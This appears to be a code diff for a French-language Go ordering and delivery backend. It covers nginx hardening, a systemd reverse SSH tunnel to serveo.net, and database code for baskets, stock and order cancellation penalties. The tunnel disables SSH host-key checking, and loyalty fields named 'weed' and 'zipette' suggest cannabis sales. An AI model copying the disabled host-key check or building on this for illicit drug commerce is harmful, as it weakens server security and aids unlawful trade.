add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
|
||||
|
||||
location ~ /\. {
|
||||
deny all;
|
||||
access_log off;
|
||||
log_not_found off;
|
||||
}
|
||||
|
||||
location ~* (\.env|\.git|package\.json|package-lock\.json|yarn\.lock)$ {
|
||||
deny all;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
[Unit]
|
||||
Description=Serveo Tunnel Service
|
||||
After=network-online.target nginx.service
|
||||
Wants=network-online.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=ubuntu
|
||||
WorkingDirectory={{directory}}
|
||||
ExecStart=/usr/bin/ssh \
|
||||
-o ServerAliveInterval=60 \
|
||||
-o ServerAliveCountMax=3 \
|
||||
-o ExitOnForwardFailure=yes \
|
||||
-o StrictHostKeyChecking=no \
|
||||
-R {{nginx_app_name}}:80:{{nginx_domain}}:80 \
|
||||
serveo.net
|
||||
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
StandardOutput=append:{{tunnel_log}}
|
||||
StandardError=append:{{tunnel_log_error}}
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
@@ -0,0 +1,5 @@
|
||||
img.jpg
|
||||
video.mp4
|
||||
s.sh
|
||||
.env
|
||||
uploads/
|
||||
@@ -0,0 +1,188 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
)
|
||||
|
||||
func (d *Database) CreateAlert(username string) (models.AlertPolicy, error) {
|
||||
|
||||
query := `
|
||||
INSERT INTO alerte_policy (username, status)
|
||||
VALUES ($1, 'true')
|
||||
RETURNING id, username, status, created_at, updated_at
|
||||
`
|
||||
var alert models.AlertPolicy
|
||||
err := d.QueryRow(query, username).Scan(&alert.ID, &alert.Username, &alert.Status, &alert.CreatedAt, &alert.UpdatedAt)
|
||||
if err != nil {
|
||||
return models.AlertPolicy{}, err
|
||||
}
|
||||
|
||||
return alert, nil
|
||||
|
||||
}
|
||||
|
||||
func (d *Database) GetAlertPolicy(id int) (models.AlertPolicy, error) {
|
||||
|
||||
query := `
|
||||
SELECT id, username, status, created_at, updated_at
|
||||
FROM alerte_policy
|
||||
WHERE id = $1
|
||||
`
|
||||
var alert models.AlertPolicy
|
||||
err := d.QueryRow(query, id).Scan(&alert.ID, &alert.Username, &alert.Status, &alert.CreatedAt, &alert.UpdatedAt)
|
||||
if err != nil {
|
||||
return models.AlertPolicy{}, err
|
||||
}
|
||||
|
||||
return alert, nil
|
||||
|
||||
}
|
||||
|
||||
func (d *Database) GetAllAlerts() ([]models.AlertPolicy, error) {
|
||||
|
||||
query := `
|
||||
SELECT id, username, status, created_at, updated_at
|
||||
FROM alerte_policy
|
||||
`
|
||||
rows, err := d.Query(query)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var alerts []models.AlertPolicy
|
||||
for rows.Next() {
|
||||
var alert models.AlertPolicy
|
||||
err := rows.Scan(&alert.ID, &alert.Username, &alert.Status, &alert.CreatedAt, &alert.UpdatedAt)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
alerts = append(alerts, alert)
|
||||
}
|
||||
|
||||
return alerts, nil
|
||||
|
||||
}
|
||||
|
||||
func (d *Database) DeleteAlertPolicy(id int) error {
|
||||
|
||||
query := `
|
||||
UPDATE alerte_policy
|
||||
SET status = 'false', updated_at = CURRENT_TIMESTAMP
|
||||
WHERE id = $1
|
||||
`
|
||||
_, err := d.Exec(query, id)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return nil
|
||||
|
||||
}
|
||||
|
||||
// EndAlert met fin à une alerte en changeant son statut à 'false'
|
||||
func (d *Database) EndAlert(id int) error {
|
||||
|
||||
query := `
|
||||
UPDATE alerte_policy
|
||||
SET status = 'false', updated_at = CURRENT_TIMESTAMP
|
||||
WHERE id = $1 AND status = 'true'
|
||||
`
|
||||
result, err := d.Exec(query, id)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("alerte non trouvée ou déjà terminée")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ActivateAlert active une alerte en changeant son statut à 'true'
|
||||
func (d *Database) ActivateAlert(id int) error {
|
||||
|
||||
query := `
|
||||
UPDATE alerte_policy
|
||||
SET status = 'true', updated_at = CURRENT_TIMESTAMP
|
||||
WHERE id = $1 AND status = 'false'
|
||||
`
|
||||
result, err := d.Exec(query, id)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("alerte non trouvée ou déjà active")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetActiveAlerts récupère toutes les alertes actives (status = 'true')
|
||||
func (d *Database) GetActiveAlerts() ([]models.AlertPolicy, error) {
|
||||
|
||||
query := `
|
||||
SELECT id, username, status, created_at, updated_at
|
||||
FROM alerte_policy
|
||||
WHERE status = 'true'
|
||||
ORDER BY created_at DESC
|
||||
`
|
||||
rows, err := d.Query(query)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var alerts []models.AlertPolicy
|
||||
for rows.Next() {
|
||||
var alert models.AlertPolicy
|
||||
err := rows.Scan(&alert.ID, &alert.Username, &alert.Status, &alert.CreatedAt, &alert.UpdatedAt)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
alerts = append(alerts, alert)
|
||||
}
|
||||
|
||||
return alerts, nil
|
||||
}
|
||||
|
||||
// GetAlertsByUsername récupère toutes les alertes d'un livreur
|
||||
func (d *Database) GetAlertsByUsername(username string) ([]models.AlertPolicy, error) {
|
||||
|
||||
query := `
|
||||
SELECT id, username, status, created_at, updated_at
|
||||
FROM alerte_policy
|
||||
WHERE username = $1
|
||||
ORDER BY created_at DESC
|
||||
`
|
||||
rows, err := d.Query(query, username)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var alerts []models.AlertPolicy
|
||||
for rows.Next() {
|
||||
var alert models.AlertPolicy
|
||||
err := rows.Scan(&alert.ID, &alert.Username, &alert.Status, &alert.CreatedAt, &alert.UpdatedAt)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
alerts = append(alerts, alert)
|
||||
}
|
||||
|
||||
return alerts, nil
|
||||
}
|
||||
@@ -0,0 +1,367 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"gestion/models"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
// AddProductInBasket ajoute un produit au panier de l'utilisateur
|
||||
func (d *Database) AddProductInBasket(username, nameProduct string, quantity float64, category string) (*models.Panier, error) {
|
||||
// Rechercher le produit par son nom et catégorie
|
||||
var productID int
|
||||
productQuery := `SELECT id FROM products WHERE name = $1 AND category = $2`
|
||||
err := d.QueryRow(productQuery, nameProduct, category).Scan(&productID)
|
||||
if err == sql.ErrNoRows {
|
||||
return nil, fmt.Errorf("produit '%s' non trouvé dans la catégorie '%s'", nameProduct, category)
|
||||
}
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la recherche du produit: %w", err)
|
||||
}
|
||||
|
||||
// Récupérer le prix correct selon la quantité
|
||||
price, err := d.GetProductPrice(nameProduct, category, quantity)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur récupération prix: %w", err)
|
||||
}
|
||||
|
||||
// Vérifier si le produit existe déjà dans le panier
|
||||
var existingID int
|
||||
var existingQuantity float64
|
||||
checkQuery := `SELECT id, quantity FROM baskets WHERE username = $1 AND product_id = $2`
|
||||
err = d.QueryRow(checkQuery, username, productID).Scan(&existingID, &existingQuantity)
|
||||
|
||||
if err == nil {
|
||||
// Produit déjà dans le panier : mettre à jour quantité et prix
|
||||
newQuantity := existingQuantity + quantity
|
||||
updateQuery := `UPDATE baskets SET quantity = $1, price = $2, created_at = CURRENT_TIMESTAMP
|
||||
WHERE id = $3 RETURNING id, username, product_id, quantity, price, created_at`
|
||||
|
||||
var basket models.Panier
|
||||
err = d.QueryRow(updateQuery, newQuantity, price, existingID).Scan(
|
||||
&basket.ID,
|
||||
&basket.Username,
|
||||
&basket.ProductID,
|
||||
&basket.Quantity,
|
||||
&basket.Price,
|
||||
&basket.CreatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la mise à jour du panier: %w", err)
|
||||
}
|
||||
return &basket, nil
|
||||
}
|
||||
|
||||
// Produit non présent : l'ajouter
|
||||
insertQuery := `INSERT INTO baskets (username, product_id, quantity, price, created_at)
|
||||
VALUES ($1, $2, $3, $4, CURRENT_TIMESTAMP)
|
||||
RETURNING id, username, product_id, quantity, price, created_at`
|
||||
|
||||
var basket models.Panier
|
||||
err = d.QueryRow(insertQuery, username, productID, quantity, price).Scan(
|
||||
&basket.ID,
|
||||
&basket.Username,
|
||||
&basket.ProductID,
|
||||
&basket.Quantity,
|
||||
&basket.Price,
|
||||
&basket.CreatedAt,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de l'ajout au panier: %w", err)
|
||||
}
|
||||
|
||||
return &basket, nil
|
||||
}
|
||||
|
||||
// GetProductPrice récupère le prix réel d'un produit pour une quantité donnée
|
||||
func (d *Database) GetProductPrice(name, category string, quantity float64) (float64, error) {
|
||||
var price float64
|
||||
|
||||
query := `
|
||||
SELECT price
|
||||
FROM product_prices pp
|
||||
INNER JOIN products p ON pp.product_id = p.id
|
||||
WHERE LOWER(p.name) = LOWER($1)
|
||||
AND LOWER(p.category) = LOWER($2)
|
||||
AND pp.quantity <= $3
|
||||
ORDER BY pp.quantity DESC
|
||||
LIMIT 1
|
||||
`
|
||||
|
||||
err := d.QueryRow(query, name, category, quantity).Scan(&price)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("prix produit introuvable pour %f %s: %w", quantity, name, err)
|
||||
}
|
||||
|
||||
return price, nil
|
||||
}
|
||||
|
||||
func (d *Database) GetProductStock(name, category string) (float64, error) {
|
||||
var stock float64
|
||||
query := `SELECT stock FROM products WHERE name = $1 AND category = $2`
|
||||
err := d.QueryRow(query, name, category).Scan(&stock)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("produit non trouvé: %w", err)
|
||||
}
|
||||
return stock, nil
|
||||
}
|
||||
|
||||
func (d *Database) DecrementProductStock(name, category string, quantity float64) error {
|
||||
query := `UPDATE products SET stock = stock - $1 WHERE name = $2 AND category = $3 AND stock >= $1`
|
||||
result, err := d.Exec(query, quantity, name, category)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur mise à jour stock: %w", err)
|
||||
}
|
||||
|
||||
rows, _ := result.RowsAffected()
|
||||
if rows == 0 {
|
||||
return fmt.Errorf("stock insuffisant pour le produit")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetAllProductsInBasket récupère tous les produits du panier d'un utilisateur
|
||||
func (d *Database) GetAllProductsInBasket(username string) ([]models.Panier, error) {
|
||||
query := `SELECT b.id, b.username, b.product_id, b.quantity, b.price, b.created_at,
|
||||
p.name, p.category, p.description
|
||||
FROM baskets b
|
||||
INNER JOIN products p ON b.product_id = p.id
|
||||
WHERE b.username = $1
|
||||
ORDER BY b.created_at DESC`
|
||||
|
||||
rows, err := d.Query(query, username)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de la récupération du panier: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var baskets []models.Panier
|
||||
for rows.Next() {
|
||||
var basket models.Panier
|
||||
|
||||
err := rows.Scan(
|
||||
&basket.ID,
|
||||
&basket.Username,
|
||||
&basket.ProductID, // ✔ FIX MAJEUR
|
||||
&basket.Quantity,
|
||||
&basket.Price,
|
||||
&basket.CreatedAt,
|
||||
&basket.ProductName,
|
||||
&basket.Category,
|
||||
&basket.Description,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("erreur lors du scan du panier: %w", err)
|
||||
}
|
||||
|
||||
baskets = append(baskets, basket)
|
||||
}
|
||||
|
||||
if err = rows.Err(); err != nil {
|
||||
return nil, fmt.Errorf("erreur lors de l'itération des résultats: %w", err)
|
||||
}
|
||||
|
||||
return baskets, nil
|
||||
}
|
||||
|
||||
// DecrementProductStockByID décrémente le stock d'un produit par son ID de manière sécurisée (évite race condition)
|
||||
func (d *Database) DecrementProductStockByID(productID int, quantity float64) error {
|
||||
query := `
|
||||
UPDATE products
|
||||
SET stock = stock - $1
|
||||
WHERE id = $2
|
||||
AND stock >= $1
|
||||
`
|
||||
result, err := d.Exec(query, quantity, productID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la mise à jour du stock: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la vérification du stock affecté: %w", err)
|
||||
}
|
||||
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("stock insuffisant pour le produit %d", productID)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// DeleteProductFromBasket supprime un produit spécifique du panier
|
||||
func (d *Database) DeleteProductFromBasket(basketID int) error {
|
||||
query := `DELETE FROM baskets WHERE id = $1`
|
||||
result, err := d.Exec(query, basketID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la suppression du produit: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la vérification des lignes affectées: %w", err)
|
||||
}
|
||||
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("produit non trouvé dans le panier")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ClearBasket vide complètement le panier d'un utilisateur
|
||||
func (d *Database) ClearBasket(username string) error {
|
||||
query := `DELETE FROM baskets WHERE username = $1`
|
||||
_, err := d.Exec(query, username)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors du vidage du panier: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// GetBasketTotal calcule le montant total du panier d'un utilisateur
|
||||
func (d *Database) GetBasketTotal(username string) (float64, error) {
|
||||
query := `SELECT COALESCE(SUM(quantity * price), 0) as total
|
||||
FROM baskets
|
||||
WHERE username = $1`
|
||||
|
||||
var total float64
|
||||
err := d.QueryRow(query, username).Scan(&total)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("erreur lors du calcul du total: %w", err)
|
||||
}
|
||||
|
||||
return total, nil
|
||||
}
|
||||
|
||||
// GetBasketItemCount compte le nombre d'items dans le panier
|
||||
func (d *Database) GetBasketItemCount(username string) (int, error) {
|
||||
query := `SELECT COUNT(*) FROM baskets WHERE username = $1`
|
||||
|
||||
var count int
|
||||
err := d.QueryRow(query, username).Scan(&count)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("erreur lors du comptage des items: %w", err)
|
||||
}
|
||||
|
||||
return count, nil
|
||||
}
|
||||
|
||||
// UpdateBasketItemQuantity met à jour la quantité d'un item du panier
|
||||
func (d *Database) UpdateBasketItemQuantity(basketID int, quantity float64) error {
|
||||
if quantity <= 0 {
|
||||
return fmt.Errorf("la quantité doit être supérieure à 0")
|
||||
}
|
||||
|
||||
query := `UPDATE baskets SET quantity = $1, created_at = CURRENT_TIMESTAMP WHERE id = $2`
|
||||
result, err := d.Exec(query, quantity, basketID)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la mise à jour de la quantité: %w", err)
|
||||
}
|
||||
|
||||
rowsAffected, err := result.RowsAffected()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur lors de la vérification des lignes affectées: %w", err)
|
||||
}
|
||||
|
||||
if rowsAffected == 0 {
|
||||
return fmt.Errorf("produit non trouvé dans le panier")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// ExtendBasketReservations prolonge les réservations
|
||||
func (d *Database) ExtendBasketReservations(username string) error {
|
||||
query := `SELECT product_id, quantity FROM baskets WHERE username = $1`
|
||||
rows, err := d.Query(query, username)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur récupération panier: %w", err)
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
type Item struct {
|
||||
ProductID int
|
||||
Quantity int
|
||||
}
|
||||
|
||||
var items []Item
|
||||
for rows.Next() {
|
||||
var item Item
|
||||
if err := rows.Scan(&item.ProductID, &item.Quantity); err != nil {
|
||||
return fmt.Errorf("erreur scan: %w", err)
|
||||
}
|
||||
items = append(items, item)
|
||||
}
|
||||
|
||||
// Vérifier stock disponible pour chaque item
|
||||
for _, item := range items {
|
||||
var stock int
|
||||
err := d.QueryRow(`SELECT stock FROM products WHERE id = $1`, item.ProductID).Scan(&stock)
|
||||
if err != nil {
|
||||
return fmt.Errorf("produit %d non trouvé: %w", item.ProductID, err)
|
||||
}
|
||||
|
||||
if stock < item.Quantity {
|
||||
return fmt.Errorf("stock insuffisant pour le produit %d (demandé: %d, disponible: %d)",
|
||||
item.ProductID, item.Quantity, stock)
|
||||
}
|
||||
}
|
||||
|
||||
// Prolonger les réservations de 15 minutes
|
||||
newReservation := time.Now().Add(15 * time.Minute)
|
||||
updateQuery := `UPDATE baskets
|
||||
SET reserved_until = $1
|
||||
WHERE username = $2`
|
||||
|
||||
_, err = d.Exec(updateQuery, newReservation, username)
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur prolongation: %w", err)
|
||||
}
|
||||
|
||||
log.Printf("✅ Réservations prolongées pour %s jusqu'à %s",
|
||||
username, newReservation.Format("15:04:05"))
|
||||
return nil
|
||||
}
|
||||
|
||||
// CheckBasketReservations vérifie si les réservations sont expirées
|
||||
func (d *Database) CheckBasketReservations(username string) (bool, error) {
|
||||
query := `SELECT COUNT(*) FROM baskets
|
||||
WHERE username = $1
|
||||
AND (reserved_until IS NULL OR reserved_until < CURRENT_TIMESTAMP)`
|
||||
|
||||
var expiredCount int
|
||||
err := d.QueryRow(query, username).Scan(&expiredCount)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
|
||||
return expiredCount > 0, nil
|
||||
}
|
||||
|
||||
func (d *Database) GetBasketItems(username string) ([]map[string]interface{}, error) {
|
||||
query := `SELECT product_id, quantity, price FROM baskets WHERE username = $1`
|
||||
rows, err := d.Query(query, username)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var items []map[string]interface{}
|
||||
for rows.Next() {
|
||||
var productID, quantity int
|
||||
var price float64
|
||||
if err := rows.Scan(&productID, &quantity, &price); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
items = append(items, map[string]interface{}{
|
||||
"product_id": productID,
|
||||
"quantity": quantity,
|
||||
"price": price,
|
||||
})
|
||||
}
|
||||
return items, nil
|
||||
}
|
||||
@@ -0,0 +1,454 @@
|
||||
// ============================================
|
||||
// db/cancel_commands_db.go
|
||||
// FONCTIONS DB ATOMIQUES POUR L'ANNULATION
|
||||
// VERSION 100% SÉCURISÉE - FIX ETA CHECK
|
||||
// ============================================
|
||||
|
||||
package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"log"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ============================================
|
||||
// ANNULATION ATOMIQUE
|
||||
// ============================================
|
||||
|
||||
func (d *Database) CancelCommandAtomic(commandID int, username, reason string, force bool) (int, map[string]int, error) {
|
||||
log.Printf("🔒 [CancelAtomic] START - cmd=%d, user=%s, force=%v", commandID, username, force)
|
||||
|
||||
// ✅ TRANSACTION
|
||||
tx, err := d.Begin()
|
||||
if err != nil {
|
||||
return 0, nil, fmt.Errorf("erreur transaction: %w", err)
|
||||
}
|
||||
defer tx.Rollback()
|
||||
|
||||
// ✅ SELECT FOR UPDATE - Verrouiller la ligne
|
||||
var currentStatus, cmdUsername, livreurAssign string
|
||||
err = tx.QueryRow(`
|
||||
SELECT status, username, COALESCE(livreur_assign, '')
|
||||
FROM commandes
|
||||
WHERE id = $1
|
||||
FOR UPDATE
|
||||
`, commandID).Scan(¤tStatus, &cmdUsername, &livreurAssign)
|
||||
|
||||
if err == sql.ErrNoRows {
|
||||
return 0, nil, fmt.Errorf("commande non trouvée")
|
||||
}
|
||||
if err != nil {
|
||||
return 0, nil, err
|
||||
}
|
||||
|
||||
log.Printf("📋 [CancelAtomic] Trouvée - status=%s, owner=%s, livreur=%s", currentStatus, cmdUsername, livreurAssign)
|
||||
|
||||
// ✅ VÉRIFIER PROPRIÉTÉ
|
||||
if cmdUsername != username {
|
||||
return 0, nil, fmt.Errorf("commande ne vous appartient pas")
|
||||
}
|
||||
|
||||
// ✅ VÉRIFIER STATUT
|
||||
nonCancellableStatuses := []string{"livre", "approved", "cancelled", "disabled"}
|
||||
for _, s := range nonCancellableStatuses {
|
||||
if currentStatus == s {
|
||||
return 0, nil, fmt.Errorf("impossible d'annuler")
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ✅ FIX: DÉTECTION CORRECTE DE L'ANNULATION TARDIVE
|
||||
// ============================================
|
||||
// Une annulation est tardive UNIQUEMENT si :
|
||||
// 1. Un livreur est assigné
|
||||
// 2. Le statut est "en_route" (livreur parti) OU "arrived" (livreur arrivé)
|
||||
// 3. OU une ETA a été définie (ce qui signifie que le livreur est en route)
|
||||
|
||||
isLateCancel := false
|
||||
|
||||
if livreurAssign != "" {
|
||||
// Cas 1: Statut en_route ou arrived = toujours tardif
|
||||
if currentStatus == "en_route" || currentStatus == "arrived" {
|
||||
isLateCancel = true
|
||||
log.Printf("⚠️ [CancelAtomic] Annulation TARDIVE détectée - Statut: %s", currentStatus)
|
||||
} else {
|
||||
// Cas 2: Pour les autres statuts, vérifier si une ETA existe
|
||||
hasRealETA := d.CheckCommandETAExistsAndValid(commandID)
|
||||
if hasRealETA {
|
||||
isLateCancel = true
|
||||
log.Printf("⚠️ [CancelAtomic] Annulation TARDIVE détectée - ETA définie")
|
||||
} else {
|
||||
log.Printf("✅ [CancelAtomic] Annulation SANS PÉNALITÉ - Statut: %s, Pas d'ETA valide", currentStatus)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
log.Printf("✅ [CancelAtomic] Annulation SANS PÉNALITÉ - Aucun livreur assigné")
|
||||
}
|
||||
|
||||
// ✅ SI ANNULATION TARDIVE SANS CONFIRMATION
|
||||
if isLateCancel && !force {
|
||||
return 0, nil, fmt.Errorf("confirmation requise")
|
||||
}
|
||||
|
||||
// ✅ UPDATE STATUT (avec vérification pour éviter race condition)
|
||||
result, err := tx.Exec(`
|
||||
UPDATE commandes
|
||||
SET status = 'cancelled', updated_at = CURRENT_TIMESTAMP
|
||||
WHERE id = $1 AND status = $2 AND username = $3
|
||||
`, commandID, currentStatus, username)
|
||||
|
||||
if err != nil {
|
||||
return 0, nil, err
|
||||
}
|
||||
|
||||
rows, _ := result.RowsAffected()
|
||||
if rows == 0 {
|
||||
return 0, nil, fmt.Errorf("commande déjà modifiée")
|
||||
}
|
||||
|
||||
log.Printf("✅ [CancelAtomic] Statut mis à jour: %s → cancelled", currentStatus)
|
||||
|
||||
// ✅ REMBOURSER LE STOCK ATOMIQUEMENT
|
||||
_, err = tx.Exec(`
|
||||
UPDATE products p
|
||||
SET stock = stock + ci.quantite, updated_at = CURRENT_TIMESTAMP
|
||||
FROM command_items ci
|
||||
WHERE ci.command_id = $1 AND ci.product_id = p.id
|
||||
`, commandID)
|
||||
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [CancelAtomic] Erreur remboursement stock: %v", err)
|
||||
} else {
|
||||
log.Printf("✅ [CancelAtomic] Stock remboursé")
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// APPLIQUER PÉNALITÉ SI ANNULATION TARDIVE
|
||||
// ============================================
|
||||
penalty := 0
|
||||
pointsLost := map[string]int{"weed": 0, "zipette": 0}
|
||||
|
||||
if isLateCancel && force {
|
||||
log.Printf("⚠️ [CancelAtomic] Annulation tardive confirmée - Application pénalité")
|
||||
|
||||
// ✅ RÉCUPÉRER LES POINTS ACTUELS
|
||||
var currentPointsWeed, currentPointsZipette int
|
||||
err := tx.QueryRow(`
|
||||
SELECT point, point_zipette FROM clients WHERE username = $1
|
||||
`, username).Scan(¤tPointsWeed, ¤tPointsZipette)
|
||||
|
||||
if err == nil {
|
||||
pointsLost["weed"] = currentPointsWeed
|
||||
pointsLost["zipette"] = currentPointsZipette
|
||||
|
||||
// ✅ CALCULER PÉNALITÉ
|
||||
penalty, _ = d.CalculateCancellationPenalty(username)
|
||||
|
||||
// ✅ APPLIQUER: Remettre points à 0 + Ajouter pénalité + Incrémenter compteur
|
||||
_, err = tx.Exec(`
|
||||
UPDATE clients
|
||||
SET point = 0,
|
||||
point_zipette = 0,
|
||||
amende = amende + $1,
|
||||
cancellations_count = COALESCE(cancellations_count, 0) + 1,
|
||||
updated_at = CURRENT_TIMESTAMP
|
||||
WHERE username = $2
|
||||
`, penalty, username)
|
||||
|
||||
if err != nil {
|
||||
log.Printf("❌ [CancelAtomic] Erreur pénalité: %v", err)
|
||||
} else {
|
||||
log.Printf("⚠️ [CancelAtomic] Pénalité: %d pts, Points perdus: weed=%d, zipette=%d",
|
||||
penalty, pointsLost["weed"], pointsLost["zipette"])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ✅ LOG
|
||||
_, err = tx.Exec(`
|
||||
INSERT INTO command_logs (command_id, status, message, author, created_at)
|
||||
VALUES ($1, $2, $3, $4, CURRENT_TIMESTAMP)
|
||||
`, commandID, "cancelled",
|
||||
fmt.Sprintf("Annulée par %s - Raison: %s", username, reason),
|
||||
username)
|
||||
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [CancelAtomic] Erreur log: %v", err)
|
||||
}
|
||||
|
||||
// ✅ COMMIT
|
||||
if err := tx.Commit(); err != nil {
|
||||
return 0, nil, fmt.Errorf("erreur commit: %w", err)
|
||||
}
|
||||
|
||||
// ✅ NETTOYER QUEUE (async, après commit)
|
||||
if livreurAssign != "" {
|
||||
go func() {
|
||||
err := d.CleanupCompletedCommandFromQueue(commandID, livreurAssign)
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [CancelAtomic] Erreur cleanup queue: %v", err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// ✅ INVALIDER CACHES (async)
|
||||
go func() {
|
||||
Redis.Del(RedisCtx,
|
||||
fmt.Sprintf("command:%d", commandID),
|
||||
fmt.Sprintf("client:%s", username),
|
||||
fmt.Sprintf("client:%s:commands", username),
|
||||
)
|
||||
}()
|
||||
|
||||
log.Printf("🎉 [CancelAtomic] SUCCÈS - Commande %d annulée", commandID)
|
||||
|
||||
return penalty, pointsLost, nil
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// ✅ NOUVELLE FONCTION: CHECK ETA VALIDE
|
||||
// ============================================
|
||||
|
||||
// CheckCommandETAExistsAndValid vérifie si une ETA RÉELLE existe (> 0 minutes, non expirée)
|
||||
func (d *Database) CheckCommandETAExistsAndValid(commandID int) bool {
|
||||
etaKey := fmt.Sprintf("command:eta:%d", commandID)
|
||||
|
||||
// Récupérer l'ETA depuis Redis
|
||||
etaMinutesStr, err := Redis.Get(RedisCtx, etaKey).Result()
|
||||
if err != nil {
|
||||
log.Printf("⚠️ [CheckETA] Pas d'ETA trouvée pour cmd %d", commandID)
|
||||
return false
|
||||
}
|
||||
|
||||
// Parser l'ETA
|
||||
var etaMinutes int
|
||||
_, err = fmt.Sscanf(etaMinutesStr, "%d", &etaMinutes)
|
||||
if err != nil || etaMinutes <= 0 {
|
||||
log.Printf("⚠️ [CheckETA] ETA invalide pour cmd %d: %s", commandID, etaMinutesStr)
|
||||
return false
|
||||
}
|
||||
|
||||
// Vérifier le TTL (si l'ETA existe, elle doit avoir un TTL)
|
||||
ttl, err := Redis.TTL(RedisCtx, etaKey).Result()
|
||||
if err != nil || ttl <= 0 {
|
||||
log.Printf("⚠️ [CheckETA] ETA expirée pour cmd %d", commandID)
|
||||
return false
|
||||
}
|
||||
|
||||
log.Printf("✅ [CheckETA] ETA valide trouvée pour cmd %d: %d min (TTL: %v)", commandID, etaMinutes, ttl)
|
||||
return true
|
||||
}
|
||||
|
||||
// ============================================
|
||||
// SUPPRESSION ATOMIQUE
|
||||
// ============================================
|
||||
|
||||
func (d *Database) DeleteCommandAtomic(commandID int, deletedBy, role string) error {
|
||||
log.Printf("🔒 [DeleteAtomic] START - cmd=%d, by=%s (%s)", commandID, deletedBy, role)
|
||||
|
||||
// ✅ TRANSACTION
|
||||
tx, err := d.Begin()
|
||||
if err != nil {
|
||||
return fmt.Errorf("erreur transaction: %w", err)
|
||||
}
|
||||
defer tx.Rollback()
|
||||
|
||||
// ✅ SELECT FOR UPDATE
|
||||
var currentStatus, cmdUsername, livreurAssign string
|
||||
err = tx.QueryRow(`
|
||||
SELECT status, username, COALESCE(livreur_assign, '')
|
||||
FROM commandes
|
||||
WHERE id = $1
|
||||
FOR UPDATE
|
||||
`, commandID).Scan(¤tStatus, &cmdUsername, &livreurAssign)
|
||||
|
